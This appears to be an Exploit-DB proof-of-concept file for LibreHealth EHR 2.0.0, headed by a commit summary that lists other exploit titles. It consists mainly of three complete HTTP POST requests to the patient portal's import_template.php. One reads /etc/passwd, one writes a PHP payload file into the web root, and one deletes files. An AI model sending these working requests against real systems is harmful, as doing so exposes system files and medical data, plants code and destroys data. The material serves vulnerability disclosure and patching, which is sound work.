11366ca935
18 changes to exploits/shellcodes FaceTime - RTP Video Processing Heap Corruption FaceTime - 'readSPSandGetDecoderParams' Stack Corruption FaceTime - 'VCPDecompressionDecodeFrame' Memory Corruption Blue Server 1.1 - Denial of Service (PoC) eToolz 3.4.8.0 - Denial of Service (PoC) VSAXESS V2.6.2.70 build20171226_053 - 'organization' Denial of Service (PoC) Arm Whois 3.11 - Buffer Overflow (SEH) libiec61850 1.3 - Stack Based Buffer Overflow Morris Worm - sendmail Debug Mode Shell Escape (Metasploit) blueimp's jQuery 9.22.0 - (Arbitrary) File Upload (Metasploit) Morris Worm - fingerd Stack Buffer Overflow (Metasploit) PHP Proxy 3.0.3 - Local File Inclusion Voovi Social Networking Script 1.0 - 'user' SQL Injection CMS Made Simple 2.2.7 - Remote Code Execution OOP CMS BLOG 1.0 - Cross-Site Request Forgery (Add Admin) Grocery crud 1.6.1 - 'search_field' SQL Injection OOP CMS BLOG 1.0 - 'search' SQL Injection OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection LibreHealth 2.0.0 - Arbitrary File Actions
69 lines
No EOL
2.9 KiB
Text
69 lines
No EOL
2.9 KiB
Text
# Exploit Title: LibreHealth 2.0.0 - Arbitrary File Actions
|
|
# Date: 2018-10-19
|
|
# Exploit Author: Carlos Avila
|
|
# Vendor Homepage: https://librehealth.io/
|
|
# Software Link: https://github.com/LibreHealthIO/lh-ehr
|
|
# Version: < 2.0.0
|
|
# Tested on: Debian LAMP, LibreHealth 2.0.0
|
|
|
|
# LibreHealth is the 'fork' of the OpenEMR project. I have executed these PoCs
|
|
# based on on Bug Reported by Joshua Fam [@Insecurity]
|
|
|
|
# 1.Arbitrary File Read:
|
|
# In LibreHealth a user that has access to the portal patient (authenticated) can send a
|
|
# malicious POST request to read arbitrary files.
|
|
|
|
POST /patients/import_template.php HTTP/1.1
|
|
Host: 192.168.6.200
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
Content-Length: 60
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
mode=get&docid=/etc/passwd
|
|
|
|
# This attack represents a file inclusion attack (LFI)
|
|
# 2.Arbitrary File Write:
|
|
# In LibreHealth a user that has access to the portal patient (authenticated) can send
|
|
# a malicious POST request to write arbitrary files.
|
|
|
|
POST /patients/import_template.php HTTP/1.1
|
|
Host: 192.168.6.200
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
Content-Length: 60
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
mode=save&docid=payload.php&content=<?php phpinfo();?>
|
|
|
|
# When you send the attack you can browse the website where the file was written and
|
|
# the payload.php at http://192.168.6.200/patients/payload.php
|
|
# 3. Arbitrary File Delete:
|
|
# In LibreHealth a user that has access to the portal patient (authenticated) can send a
|
|
# malicious POST request to delete a arbitrary file.
|
|
|
|
POST /patients/import_template.php HTTP/1.1
|
|
Host: 192.168.6.200
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
Content-Length: 60
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
mode=delete&docid=payload.php
|
|
|
|
# When you make the attack you can navigate on the deleted page and you should receive 404 error (page not found) |